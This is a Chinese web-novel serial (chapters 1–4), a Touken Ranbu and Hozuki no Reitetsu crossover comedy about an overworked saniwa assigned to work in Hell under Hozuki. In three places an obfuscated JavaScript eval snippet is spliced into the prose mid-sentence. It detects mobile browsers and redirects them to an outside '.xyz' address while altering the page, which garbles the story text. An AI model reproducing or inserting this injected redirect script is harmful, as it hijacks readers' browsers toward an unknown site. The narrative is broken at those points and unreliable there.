《【综】地狱本丸的加班日常》 1. 第 1 章 “你是说,要我去出差?” 一头乌黑中长头发,身着茶色羽织的少女指了指自己,眼下的黑眼圈已经成了半永久烟熏妆,昭示着她的疲惫。 黑发束在脑后,用一根素雅的银簪固定得一丝不苟,几缕碎发垂在颊边,不显凌乱,反而平添了几分利落感。她的面容清丽,肤色白皙,但眉宇间却笼罩着一层长期加班带来的、挥之不去的倦怠。那双黝黑的眼睛,在抬起看向狐耳男时怨念惊人,此刻正清晰地写着“不情愿”。 隔着张矮几,半躺着的狐耳男子抽着水烟袋,漫不经心地点头。手机在手指快速打字的原因下发出“啪啪”的指甲与屏幕碰撞声。 如果凑近一看,就能发现对方并非是在回复工作信息,而是在和有着美女头像的x信好友聊天。 “没错,时之政府刚联系上一个高等级的世界,如果能够达成合作,打败时间溯行军的进度又能增加一些。通过沟通,最后决定由你来担任这个两界交流的常驻大使。” 千祈闻言,把一缕碎发别到耳后,强笑着回绝: “您知道吗,在来到这里汇报情况之前,我处理了上一次您忘记递交材料的补填工作,而占用了我本该休息的两天假期。” 狐耳男气势不减,极为敷衍地“辛苦”了一声,打字速度尚未减缓。 “上次休假,我刚回本丸,你传通讯给我,说时之政府的结界修复工作出了纰漏,要我这个不是结界班的去处理。花费了一个月。” “我记得,维护结界是你的工作吧。” 狐耳男眼神开始漂移,默默收起手机。千祈往前一步,继续说: “上上次,我正在休假中,您上门把我拉走,说有个很紧急的时期,需要我去调查异常的时间溯行军。调查了半个月,而您呢?” “您去相亲了。” 狐耳男开始冒汗,不敢直视自己的属下。 千祈面无表情,冷气混合着怨气直逼上司。 “还有上上上次……哪次不是我刚要休息就得加班,你良心不会痛吗?” 狐耳男放弃直面千祈,试图狡辩, “这不都是因为你特殊体质嘛,无论怎样都会加班,只是正好这几次都是因为我……” 狐耳男一边推锅,一边掏出便携传送器。 “这是上面的要求,要好好干啊,千祈。你可是时之政府最可靠的审神者之一呢!” 说着便把一打资料递交给千祈,接着以十分自然地打开传送器,完全不给对方一丝推脱的机会。 “就是这样,我一会还有个会议,先走了。” 千祈下意识伸手接过资料,资料并不多,但少女的气息却在接手后十分低沉,仿佛下一秒就要爆发一般。 她握着文件的手指纤细却有力,指节微微泛白,透露着一种克制着的、随时准备掀桌的隐忍。 果然,没过几秒,爆烈的灵力冲出,压抑了许久的少女抽出随身佩戴的打刀凭空劈开一道裂缝,将手伸进去摸索了一会,随即抓住什么东西,狠狠用力拽了出来,“啪叽”一声摔在地上。 茶色羽织无风自动,黑色焰火在打刀上缠绕,千祈微微凑近试图把自己贴在墙角的上司,用刀鞘抬起对方下巴,对着狐耳男绽放出一个明艳至极、皮笑肉不笑的笑容。那笑容里带着十足的压迫感,与她周身散发出的社畜怨念完美融合。 “这次我就不追究了,以后再出现因为你的事情加班……” 未尽之言并未出口,但狐耳男已经被吓出飞机耳,瑟瑟发抖。 “来,和我解释解释里面的内容。” “还有很多、很多事情您都没能和我说清楚呢,我的领导。”千祈重读了“很多”和“领导”两个词,每重读一次,手上的刀轻轻拍一下对方的脸,吓得狐耳男面色惨白。 “是,是,我这就为您一一解答!” *** 科技的发展让人们得以窥见时间的秘密,可以穿越时间的机器应运而生。但这项技术的出世并未造福人类,反而滋长了人类的欲望。 这项技术落入人类手中的那天起,这个世界就陷入了无限的混乱。各种组织依靠时间穿越技术,不断改变历史,导致世界陷入混乱,即将崩溃。 为了拯救世界,阻止时空崩溃,时之政府这一机构应运而生。在世界法则的允许下,得以召唤刀剑付丧神,让有纵向时间残留气息的付丧神以及审神者不受副作用地穿越时空,阻止溯行军改变重大历史。 然而时间溯行军力量强大,为了更好对抗敌人,除了在本世界寻找拥有灵力的人担任审神者,时之政府还链接同一位面的平行世界,寻找一些刚刚去世,有潜力的人担任审神者。 而千祈,正好是来自其他世界的审神者。 “为了能够和那个世界更好地进行交涉,从那个世界出生的千祈你,”狐耳男望了望千祈手里黑焰缠绕的刀,换了个表述,“千祈大人您,是最合适不过的人选了。” “对方派出的代表可是地狱的二把手鬼神,鬼灯大人。” 严格来说这次交涉并非时之政府主动提出,而是对面负责人直接找上门来的。但秉承着多一个盟友多一份力量,时之政府爽快地答应了合作。 千祈若有所思,气息逐渐平缓,手里的刀也微微放下:“即便我来自那里,从地位上来说,我也只是个中层干部,轮不到我来当这个常驻大使,更别说对接那边三界之一的‘地狱’。” 时之政府的审神者千万,混到她这个级别的也不少,难道里面还没有一两个和自己同样出生在一个世界的审神者吗? 狐耳男见对方有所松动的样子,手脚并用地小心和千祈拉开距离,双手整理衣领,继续解释道: “很遗憾,没有和您同一世界的审神者。选择您这件事这是对方——也就是那位鬼神大人亲自提出来的。” 顺便还翻出了材料里面一个对方指定千祈为常驻人员的文书。 想到这里,狐耳男有些心虚,不过很快便调整了表情,并没有让千祈看出什么。 虽然非常舍不得千祈这样刀子嘴豆腐心,非常好用的下属,但一想到那个恶鬼手提狼牙棒,抵着他脑袋要人的样子,狐耳男还是觉得早点把人交出去更好。 他可不想面对可怕鬼神的诅咒。 为了不让千祈发现自己的异样,他赶紧转移话题: “不过完全不用担心,实际上就是回到您本来的世界,和那边的领导说说话,吃吃饭什么的。” “就当是公费旅游了,这段时间忙成这样也辛苦你了,换个环境放松一下吧!” 快走吧祖宗! 千祈眯了眯眼,觉得对方似乎有什么东西瞒着她,但找不到证据。 *** 地狱,一扇巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332873|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地狱之门矗立于现世与彼岸交界处。 千祈早早通过传送器来到地狱之门等候,虽然地狱方面在联络时曾说明了具体时间,但出于礼貌,千祈还是提早了点时间来到约定的地点等待。 她整理了一下茶色羽织下的衬衫,确保自己看起来既专业又不失礼数。想到能暂时逃离时政那永无止境的报告和狐耳上司不靠谱的嘴脸,呼吸着地狱中带着些许味硫磺的空气,千祈竟然难得地感到放松。 就当是带薪休假了。 千祈默默神游,甚至开始规划办完正事后要不要去尝尝现世久违的甜品。正想着,门开启的“吱呀”声响起。 准时,可以说是分秒不差地,地狱之门旁一道小侧门开启。 一个身影走了出来。 黑色镶红边的和服,手中那根标志性的狼牙棒,清秀帅气的脸却搭配着一双毫无波澜,看起来极为凶恶的眼睛,头上标志性的独角昭示着这并非人类。 来人就是隶属于地狱阎魔殿,阎魔大王座下第一辅佐官,实际上地狱的二把手 ——鬼灯。 “审神者千祈?我是地狱的辅佐官,鬼灯。欢迎来到地狱。”他的声音平稳,面不改色地说道,“鉴于你是由时之政府指派,且对本地有所了解,交流期间的相关事务将由我直接负责。” 千祈立刻进入工作状态,展现出精英社畜的专业素养,微微鞠躬回礼:“鬼灯大人,久仰。非常感谢您的接待。初次见面,今后还请多多指教。” 鬼灯点了点头,算是回应了她的礼节。 “既然来了,就请尽快进入工作状态。”他侧身,示意千祈跟上,理所当然地开始下达指令,“首先,熟悉阎魔厅第一审判殿的布局和基本工作流程。你带来的关于时间溯行军干扰亡魂正常引渡的事件,需要与我们的进行交接,这部分的资料由你负责复核。” 千祈脸上的职业微笑瞬间凝固:“……啊?” 仿佛没有看到她的错愕,鬼灯继续用他那平板无波的语调说着,语速快而清晰:“另外,地狱方面近期需要一份关于‘异常死亡对轮回转世效率影响’的报告,涉及多个历史时期的数据。因为时间溯行军的骚扰,地狱亡魂出现了很多逃亡,其中就有很多历史人物,你来自时之政府,处理这方面应该是你的专长。” 看着鬼灯那毫无波澜的眼睛,以及他手中那根无意识轻轻点地面的狼牙棒,作为一名资深社畜的身体,千祈已经先于绝望的大脑做出了本能反应。 虽然有些不太明白为什么会变成这样,但对方实力强悍,还有一些不知名的迁怒。 时之政府到底干了什么,为什么交流合作变成了换个地方给新单位打工! 她深吸一口气,压下了所有吐槽,脸上重新挂起无比专业,甚至有点麻木的微笑。 “……是。明白了。报告的要求请您稍后给我。我现在去熟悉的流程。” 果然。 她的地狱假期,在踏入此地的第十分钟,正式宣告破产。千祈仿佛已经能看到未来一段时间,在阎魔厅陪这位工作狂辅佐官加班到魂飞魄散的未来了。 习惯了,她已经习惯了。这种走到哪里就会加班的情况,她早就习以为常。 鬼灯对她的反应似乎颇为满意,微不可查地点了下头,转身带领千祈走向地狱。 “很好。跟我来。不要浪费时间。” 2. 第 2 章 区别于人类主要居住的现世,在彼世存在着天国与地狱。 上个世纪以来,人口暴增与恶灵肆虐,作为亡灵主要接收对象的地狱遭受了前所未有的挑战。在作为地狱幕后二把手,后勤处理的核心人物——鬼灯的治理下,拥挤的地狱总算得到了有效的治理。 “当然,偶尔也会有一些不懂规矩的乱来。”鬼灯面不改色地用手中的狼牙棒将一个试图插队、咆哮着“老子生前可是□□”的亡魂精准地砸进正确的队伍里,由一旁的狱卒熟练地将晕过去的亡者拖走。 “维持秩序是高效运转的前提。”他对着身旁初次到访的审神者千祈解释道,语气平淡得像是在介绍一种常见的办公技巧。 千祈深有同感,虽说对刚来就被安排工作这件事颇有微词,但这位鬼灯大人行事风格蛮对她胃口的,不拖沓,效率至上,不懂的还可以提问。 这里狱卒们热火朝天地引导秩序,亡者排队等候审判,其间掺杂着试图逃亡被狱卒抓住后的哀嚎、抑或是被判处下地狱受惩罚的哭泣声。 看着眼前这座庞大、喧嚣却异常井井有条的阎魔殿,默默收起了最后一丝“地狱等于混乱无序”的刻板印象。 鬼灯将她带到工位,桌上已然堆起了半人高的卷宗。在她工位的旁边则是鬼灯的办公位置。“这是你近期需要熟悉的基础规章和部分待复核案例。”鬼灯指了指那摞文件,“《亡魂引渡管理细则》和《应对现世异常事件临时处理办法》是重点。” 千祈的眼角微不可查地抽搐了一下。 这里不像是地狱,更像是一个业务量爆棚、KPI压力巨大的跨国企业总部。而她,就是那个被临时借调过来支援的倒霉员工。 想到这里千祈面带微笑,周身的气息不可避免地染上了一丝绝望——那是身为社畜最为熟悉的扑克脸,表面上再怎样想原地升天,面部表情的管理也要到位。 不过即便真的想要一头栽倒逃避工作,千祈也要尝试自救。 “鬼灯大人,说起来为什么此世地狱会这样繁忙,连我这个跨世界审神者都要被拉来打工?” 身为交流的派驻使者,这么着急就把工作交给她来做不太好吧。 鬼灯皱眉,想到了一些不太好的东西。不过面对千祈这样刚来就安静乖巧听调度的工作人员,他也无法过多责备。 “时间溯行军。”鬼灯停顿了一会,用咬牙切齿的语气点出罪魁祸首。 “那些时间溯行军趁着狱卒放假防守薄弱的时候,在地狱大闹了一场,带走了几个关键的犯人。” 虽然有些歪题,但千祈还是精准抓住了关键词。 “放假?地狱还会放假吗?” 一路上鬼灯的介绍完全就是在按照现世的企业进行组织管理的,霓虹的加班社畜文化一直很有名,地狱一定有过之而无不及吧。 鬼灯面无表情,却理所应当地解释:“当然,这又不是什么黑心企业,我们是正规地狱。” “刚刚说到……大部分时间溯行军都已经消灭干净了,但对方带走的罪犯销声匿迹,鸦天狗警察们想了很多方法都没有进展,因此只能找到和时间溯行军打交道最久的你们,也就是时之政府来支援。” “当然还有另一个原因。”鬼灯望着千祈,补充着最后一个原因。 千祈疑惑,迷茫地抬头。 “什么原因?” “最重要的一个原因是,你是非法出境的亡魂。” “诶?”千祈瞪圆了眼睛,加班的疲惫已经被这样的理由震撼到无影无踪。 非法出境?! 从未想过还有这种理由,这就是非她不可的原因吗,因为非法出境,时之政府必须把自己送回来? 好在鬼灯对此并未过多追究,只是坐在千祈旁边办公椅上,打开了一份文件一边批阅一边解释: “啊,没错,地狱还留存有你的生平记录,在接引科找上你之前,死亡的你已经被时之政府带走了。” 作为狱卒,不放过一个亡者是他们都工作核心精神,被异世界的组织带走亡魂,这种消息对于地狱的公信力建设实在不太好。 为此他专门跑到时之政府观察了很久,发现这个名叫千祈的审神者能力非常不错。 工作能力,认可。工作态度,认可。户口:本世界,认可。 这次时间溯行军袭击地狱,他也以此为借口光明正大地和时之政府提出交涉。 这种人才,作为资深地狱管理者,鬼灯是绝对不会放过的。 “考虑到你在时之政府也有职务,我和时之政府的高层商量了一下,你可以兼任两界的职务,但是主要职责还是协助地狱侦破时间溯行军在这个世界犯下的罪行……怎么了?” 袖子被人扯了扯,低头一看,千祈蹲在鬼灯身侧,眼巴巴,泪眼朦胧地望着自己。 “你刚刚说,地狱不是黑心企业,对吧。” “当然,合同上有写,有假期,有福利,不强制加班。”鬼灯绝口不提自己就是狂热加班分子。 千祈的眼神亮起来,眼下的黑眼圈甚至都有消散的趋势。 “那,那我身为审神者,还有本丸的刀剑。” “你说那些刀剑付丧神吗?”鬼灯摸了摸下巴,若有所思,“既然你的职责是支援地狱,刀剑付丧神自然也可以带来这里。” “那加班……” “三倍加班工资,连续加班一定程度必须休假。” 扯衣服的力道越发大了,已经完全是攥着鬼灯的程度,而鬼灯不为所动,淡定看报告。 “上司呢?” “你直属于我,不需要去参与乱七八糟的事情。” “我还有最后一个小问题,鬼灯大人” 千祈已经彻底折服于成熟的成年鬼,只剩下最后一个关于自身的顾虑。 “假如,我是说假如。要是有意外事故体质,无论如何都要加班呢?” 鬼灯终于从报告上移开视线,那双毫无波澜的眼睛垂下,落在千祈写满渴望与忐忑的脸上。 “意外事故?”他重复了一遍,语气里听不出是疑问还是陈述。 千祈点头,用疲惫的语气说出自己这些年悲惨经历的凝练,“就是无论去哪里,计划得多好,最后总是会因为各种意想不到的情况被迫加班。” 她越说声音越小,仿佛下一秒就要被生活的重担压进地里。鬼灯的表情依旧没什么变化,只是静静地看着她。 几秒的沉默后,鬼灯平静地开口: “地狱最不缺的就是意外事故,所以加班是常态。” “那刚刚你的那些承诺是什么啊喂! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332874|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”千祈炸毛,之前的心动全然喂给了恶鬼。 鬼灯面无表情地看着瞬间炸毛的千祈,语气依旧平稳无波: “承诺依然有效。三倍加班工资会按时发放,强制休假制度也会执行。” 他用卷轴敲了敲桌面,发出沉闷的声响,示意千祈冷静。 “地狱像你这样有千奇百怪能力的人很多,你的意外事故体质,在这里顶多算是锦上添花。” “不必担心,超出你解决范围的事情交给我就好。” 奇怪,好闪耀,这就是可靠的成熟上司吗? “而且……” 鬼灯扫过千祈眼底顽固的黑眼圈,语气里似乎带上了一丝欣赏。 “能顶着这种体质在时之政府那种效率堪忧的地方晋升到中层,并且精神看起来很不错,至少没有频繁崩溃或试图辞职的记录,证明了你的抗压能力和工作效率远超常人。” “地狱,正需要你这样经验丰富的人才。” 千祈:“……” 她一时间竟然分不清这到底是压榨前的洗脑,还是这位鬼神大人别具一格的认可。 但三倍工资和强制休假是实实在在的承诺,对比时政狐耳上司的空头支票和甩锅行为,至少这位辅佐官大人听起来像是会严格执行规章制度的类型。 而且,他好像真的不觉得她的体质是个麻烦,甚至是优点? 最终,千祈深吸了一口气,觉得那口混合着硫磺和亡魂哀嚎的地狱空气似乎都清新了不少。 “我明白了。”松开了攥着鬼灯袖子的手,重新站直身体,这次眼底似乎多了一丝难以言喻的复杂光芒。 “那么,鬼灯大人,”她转向那半人高的文件山,活动了一下手指,“首先是关于这份《近五十年异常死亡魂灵初步筛查名录》与时间溯行军活跃记录的交叉比对,具体的筛选标准是什么?” 迅速进入了工作状态,这是社畜的基本素养。 鬼灯看着她迅速切换状态,点了点头表示肯定。 “标准在这里。”他将一份更详细的指南推到千祈面前,“标注黄色标记的需要重点复核……”两人就这样站在堆满文件的办公桌旁,迅速进入了工作对接模式。 千祈的地狱职场生活,正式拉开了序幕。 她一边飞速浏览着文件,一边在心里默默计算着以地狱的加班频率,自己到底能赚多少加班费,以及要多久才能熬到那个强制休假的日子。 或许,地狱,也没那么糟?至少,她的直属上司看起来足够有能力。 说不定自己的加班体质也能有所削弱呢。 这个念头刚冒出来,远处传来某个狱卒的尖叫:“不好啦!鬼灯大人!三途川的桥被一群试图逃跑的亡魂撞塌了!还砸到了正在偷懒的夺衣婆!” 千祈手中的笔顿住。 鬼灯面不改色,甚至连语速都没有变化,继续对千祈说:“这个地方需要特别注意……失陪一下。” 他拎起狼牙棒,大步朝着骚乱方向走去,留下千祈一个人对着成山的文件。 千祈默默地看了一眼鬼灯离去的背影,又低头看了看手里刚刚翻开的,今天注定不可能看完的文件。 她缓缓地、深深地,叹了一口气。 好吧,至少……三倍工资是跑不了了。 3. 第 3 章 阎魔殿,走廊。 “说起来最近阎魔殿来了个新人呢,你听说了吗?”唐瓜一边推着一推车亡者的生平卷轴往阎魔殿走,一边和自己的好友兼搭档茄子聊天。 茄子哼着歌,拿着笔在专属于自己的记事本上写写画画,脸上满是天真:“是吗?阎魔殿又到了招新人的时候了呢。” “跟你说多少遍不是常规招聘!” 对于自己好友的天然,唐瓜表示无奈,还是耐心和茄子分享新人的消息:“据说是鬼灯大人亲自找来的。” 每年地狱十王殿都会集体招纳新人,都是正规的流程,从笔试、面试、培训、实习到成为正式且独当一面的狱卒需要培养很久。就拿他和茄子来说,也是在阎王殿打下手学习了很久呢。 茄子的眼睛睁大,圆圆的脸颊因为惊讶鼓了起来:“诶?不用考试就可以进来,一定很厉害吧。” “嘛……这就不知道了。” 两人正你一言我一语地猜测着,一阵轻微的脚步声从前方拐角传来。 来人黑发用素雅的银簪束在脑后,脚步虚浮,眼神涣散,提着一口气走到两人面前,低头有气无力地询问:“请问……阎王殿大厅怎么走?” 唐瓜僵住,推车手柄捏得发白;茄子记事本 “啪嗒” 掉在地上,悄悄往唐瓜身后躲。 两人抖若筛糠,颤颤巍巍地抱在一起: “贞、贞子又跑出来了啊啊啊——” “吵什么。” 冷不丁的声音从头顶传来,黑色镶红边的和服衣摆扫过两人脚踝。 鬼灯拎着狼牙棒站在身后,望着脚边两只刚成年的三十岁小鬼,又看向拐角处一脸肾虚样的千祈。 “只是一晚上的加班就这样……”某恶鬼低声自语。 “要不要听听你在说什么?”千祈撑着廊柱直起身,眼下的淡青几乎要连成一片,语气里满是没力气却字字带刺的吐槽,“我已经这样连续加班三周了!上周给时之政府没用的上司善后,紧接着就被派来地狱,本来以为刚来地狱能稍微休息一会,结果你去处理暴动的亡魂,丢下一堆文件给我。” “你所谓的一晚上,是我这三周里唯一能睡两小时的长假!” 千祈边说边抬手揉太阳穴,银簪随着动作晃了晃,埋怨道: “要不是为了赶今早的程序,我现在能在本丸睡一天。”加班的怨气凝练成实质,试图包围鬼灯,唤醒对方为数不多的良心。 地狱的执政官挥了挥手,周身爬满的怨气消散,他难得没反驳,只是转向两人:“这是时之政府派来的审神者千祈,不是什么怨灵。” “你好”x2 褐色衣服,黑色头发头上有两只鬼角的少年鞠了一躬,自我介绍:“我是唐瓜。” “我是茄子!”右侧白发,有三只鬼角的少年紧接着说道。 面对小孩模样的两位狱卒,千祈并未觉得有什么不对,她本丸有一群少年模样的短刀活跃在战场的各个地方。千祈稍稍整理了自己的仪容,对着唐瓜和茄子问好: “你们好,我是千祈。” “千祈主要负责最近出现的时间溯行军捣乱案件,目前主要在我的办公室旁边办公。”鬼灯简要介绍千祈的工作内容。 说完他又看向千祈,语气缓和几分:“抱歉,昨天突发情况太多,只能拉上你一起处理。” “现在先跟我去见阎魔大王,之后把你本丸迁到地狱里,给你几天假期休息,如何?” 听见 “假期” 两个字时,千祈涣散的眼神先亮了亮,完全忘记了昨天对方是怎么让自己加了一晚上班的,开心地催促鬼灯。 “走吧走吧,我还赶着去睡觉呢。” 望着两人远去的身影,唐瓜感慨:“真是辛苦呢,刚来就被鬼灯大人拉去加班。嗯?茄子,你在干什么?” 茄子摸着下巴,一脸苦苦思索的样子引起唐瓜好奇。 “嗯——怎么说呢,总感觉之前鬼灯大人好像提起过千祈大人。可是想不起来了。” “是‘既视感’吗?” 唐瓜不以为意,拾起茄子的记事本拍了拍灰尘。 “谁知道呢。” *** 阎魔殿大厅,阎魔大王办公处。 偌大的大厅中一张接近两米的办公桌放在中间,桌子周边围满了前来报告请示的狱卒,看样子少说也有十几号。 “阎魔大王,阿鼻地狱那边河流泛滥!” “阎魔大王,这是黑绳地狱的财政报表,黑绳地狱出现财政危机!” “阎魔大王,合众地狱人手不足,请求人员支援!” “阎魔大王!” “阎魔大王!”…… 被众人围在中间的高大身影手足无措地望着狱卒们:“嘛……那么多人一个个来,鬼灯去哪里了呀,忙不过来了……” “我在这里,我把时之政府派来的人带来了。”低沉而令人安心的声音出现了,周围的狱卒一窝蜂地涌向鬼灯。 “是鬼灯大人!” “鬼灯大人您先看看这个!” “还有这个!” 原先围在被众人称为“阎魔大王”的狱卒们现在全部围在鬼灯身边,阎魔大王松了一口气,望向随着鬼灯一起来的千祈:“你就是时之政府派来的审神者?” 面前的阎魔大王身高接近三米,高大到千祈需要仰头到头酸才能看清这位巨汉阎魔。一脸络腮胡,称得上“宽阔”体型的阎王,如果端坐在座位上时显得还挺威严,但和千祈说话时声音却比想象中温和。 “是的,阎魔大王您好,”千祈微微欠身,“我是时之政府审神者千祈,这次来协助地狱抓捕被时间溯行军带走的逃犯,后续也会以兼职协助人员的身份,配合处理溯行军相关案件。” 旁边正被狱卒围着处理事务的鬼灯抽空瞥了一眼,补充道:“千祈在时之政府的本丸后续会迁到阎魔殿附近。今天先走完入职程序,她连续加班三周,之后给她放几天假调整。” “三周?”阎魔大王的嗓门陡然提高,看向千祈的眼神满是惊讶,“那可太辛苦了,等下盖完章可以去旁边阎魔殿的餐厅吃点东西再去休息。” “地狱的食堂?”千祈有些好奇。 “当然!”阎魔大王突然压低声音,凑近千祈,虽然隔了一段距离,但爆棚的络腮胡蹭得她有点痒,“我昨晚还偷偷多吃了份宵夜……” “阎魔大王。” 鬼灯的声音从身后传来,手里的狼牙棒 “咚” 地砸在地面,他盯着阎魔大王:“您上周刚说要控制宵夜,避免影响第二天审案效率。” 阎魔大王瞬间僵住,宽阔的身子缩了缩,试图狡辩:“嘛…… 就、就一次……” “一次也不行。” 鬼灯抬手,狼牙棒精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332875|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准敲在阎魔后脑勺,发出咚咚的声音,“您今晚增加运动,餐厅的大福这周也别想了。” “疼!鬼灯你太过分了!” 阎魔大王抱头哀嚎,千祈站在旁边忍着笑,没想到鬼灯和他的上司相处竟然是这样的。 阎魔大王也太没有上司的尊严了吧。 嘛,虽然自己在时之政府对前上司态度也没好到哪里去。 *** 千祈握着盖完章的入职文件,脚步都轻快了几分。 比起阎魔大王热情推荐的地狱食堂,她现在满脑子都是本丸的软床垫。谢绝阎魔大王 “一起吃点再走”的邀约,借着时之政府的临时传送符,眨眼就落在了本丸熟悉的庭院里。 晨露还沾在走廊的木栏杆上,空气里飘着淡淡的樱花香,和地狱的硫磺味截然不同。千祈刚拐过回廊,就见一道熟悉的身影从厨房方向走来。 烛台切光忠系着素色围裙,手里端着还冒热气的汤碗,见到她瞬间睁大眼:“千祈大人?您回来了?!” 他话音刚落,不远处洗衣房那边就传来一阵急促的脚步声。压切长谷部捧着叠整齐的换洗衣物冲出来,一头帅气的头发被风吹得翻飞:“主人!您终于回来了!时之政府说您去地狱协助,我还担心您……”话没说完,就见千祈眼下的淡青,语气瞬间充满了心疼,“您这是多久没休息了?” 千祈打了个长长的哈欠,连抬手的力气都快没了,往走廊的柱子上一靠:“连续加班三周,昨天还熬了通宵,现在只想睡觉。” “那怎么行!”烛台切赶紧把汤碗递过来,“我做了点心,您先吃点垫垫肚子,空腹睡觉对身体不好。” 长谷部也立刻跟上,抽出刚刚收出来的干净衣服塞到她手里:“先换身宽松的衣服,我去把您房间的被褥铺上,保证暖和又松软。” 千祈被两人半扶半劝地推进房间,刚换完衣服,就见药研藤四郎抱着个箱子走进来,手里还拿着支安神香:“大将,这是我调的安神香,助您睡眠。另外,您连续熬夜,我煮了安神茶,睡前喝一杯。” “还有我还有我,我来帮主人解头发。”加州清光突然出现,手里拿着气垫按摩梳,一副跃跃欲试、别想落下我的样子。 千祈看着眼前围着她的刀剑们,眼眶莫名有点发热。她接过烛台切递来的糕点,草草吃完后喝了几口温热的茶汤,驱散了大半疲惫。一会的功夫长谷部已经把被褥铺好,药研也点上了安神香。 “好了好了,你们也别围着我了。”千祈把碗递给烛台切,往柔软的床垫上一倒,瞬间陷进蓬松的被褥里,“我要开始补觉了,没急事别叫我——除非是溯行军打进来,或者……有好吃的。” 刀剑们相视一笑,烛台切轻手轻脚收拾好汤碗,长谷部帮她掖好被角,药研把安神茶放在床头触手可及的地方。一旁清光最后帮她把散落的碎发别到耳后,小声说:“您安心睡,本丸有我们呢。” 等脚步声渐渐远去,千祈闻着安神香的淡香,眼皮越来越重。迷迷糊糊间,她好像感觉到有人轻轻摸了摸她的发顶,还听到清光的声音:“主人辛苦了,这次一定要让她好好休息。” 窗外的樱花随风飘落,千守阁一片宁静。千祈嘴角带着浅浅的笑,终于沉入了久违的、无梦的睡眠 ——管他什么地狱的卷宗,还是时之政府的麻烦,现在通通都比不上眼前的软床垫和满室的安心。 4. 第 4 章 清晨。 阳光透过晨雾划过天守阁最高的飞檐,将第一缕天光摇碎成细碎的金芒,檐角的风铃轻响,整座本丸开始缓缓苏醒。 不远处田地新翻的泥土散发独特的气味,竹竿上结出的辣椒,与嫩绿的菜苗交相辉映。蜻蜓切高大结实的身影蹲在田头,正小心地给番茄苗搭架;一旁的山姥切国广则压低了头上的白布,沉默地剔除杂草。 掠过田埂,远处升起炊烟的厨房中,食物的暖香混合着柴火气,一旁的餐厅里也出现三俩结队一起床吃早饭的刀剑男士。 厨房里烛台切光忠利落地颠勺,三下五除二做出色味俱佳、让人忍不住流口水的饭菜;大般若长光在一旁有条不紊地切配,每一刀都恰到好处。 餐厅外是片新开垦的花田,缤纷的朝颜花沿着餐厅外墙上的竹篱笆瀑布般倾泻而下,形成一道花墙。五虎退披着披肩静立其中,安静欣赏整片绣球花田构成的绚烂美景。一只巨大的白虎,安静地卧在五虎退旁,时不时因为飘下的花瓣落在身上而转动圆耳。 忽然,白虎抽动鼻子,抬起头。金色的兽瞳瞥向来人,眼神里没有警惕,只有熟悉和亲近。轻微的脚步声自身后的小径传来,伴随着一丝温暖的食物香气,柔和地融入了这片花香之中。 是千祈。 她换下了出阵的羽织,只穿着一件简单的便服,头发用抓夹盘起来,几缕发丝垂落耳边,眼下虽仍有淡淡的倦色,但相比昨天早上刚到本丸那副随时会晕过去的样子,可以说好太多了。她手中端着托盘,上面放着两碗还冒着热气的味噌汤、烤得恰到好处的鲑鱼、玉子烧,以及一小碟腌菜。 “退,早上好。”千祈的声音带着晨起时特有的微哑,却十分温和,“还有大虎,早上好。看来我找到了一块不错的早餐地点。” 白虎低低地“呜”了一声,尾巴尖轻轻扫过地面,算是打了招呼。 五虎退脸上立刻绽开明亮又略带羞涩的笑容:“主、主人!早上好!”他连忙站起身,想上前帮忙接过托盘。 “没事,就坐这里吧。”千祈笑着摇摇头,示意他不用动,走到退旁边,小心地将托盘放在连廊地板上,然后盘腿坐下。 白虎庞大的身躯站起来走到两人身后,紧挨着千祈和退趴下,尾巴一卷将两人圈在一片充满安全感的小天地里。巨大的头颅温顺地靠着千祈的腿侧,偶尔用鼻尖轻轻蹭一蹭千祈的腰,喉咙里发出极低沉的、满足的呼噜声。 千祈将一份早餐递给退,自己拿起另一份吃着。右手自然地搭在白虎脑袋上,轻轻抚摸。 “本丸的大家今天都起得很早,厨房特别热闹。光忠特意多做了玉子烧,说是犒劳你昨天做了内番。” 五虎退接过碗,脸颊微红,小声道谢:“并、并没有很辛苦……谢谢烛台切先生,谢谢主人。”他捧着温热的碗,食物的香气和主人的关怀让他感觉暖洋洋的。 “主人今天还要去地狱那边吗?”五虎退吃着玉子烧,歪头看向千祈。 千祈望天,五虎退提醒她了。虽然不是很想上班,但有件事还是早点办了好:“嗯,不过得先把本丸投放到地狱。” “一整个本丸吗!?”五虎退惊呼,本丸空间独立于世界之外,理论上是可以整个搬迁到地狱的,但刀剑们从未这样大规模搬家 “对,不过在开始这项工程之前需要大家做些准备。”千祈看向五虎退,拜托道,“退,可以拜托你帮我通知大家吗?请务必把本丸里易碎和怕摔的物品仔细包裹、妥善收纳起来。跨界投放时,难免会产生一些震动。” 五虎退为主人对自己请求感到开心,高兴答应下来。 